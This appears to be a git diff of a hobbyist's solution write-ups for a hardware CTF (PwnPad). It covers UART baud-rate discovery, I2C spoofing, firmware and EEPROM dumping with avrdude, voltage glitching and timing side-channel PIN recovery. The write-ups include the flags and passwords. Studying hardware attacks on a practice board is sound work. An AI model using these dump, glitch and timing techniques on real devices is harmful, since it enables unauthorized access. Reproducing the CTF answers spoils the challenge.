+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
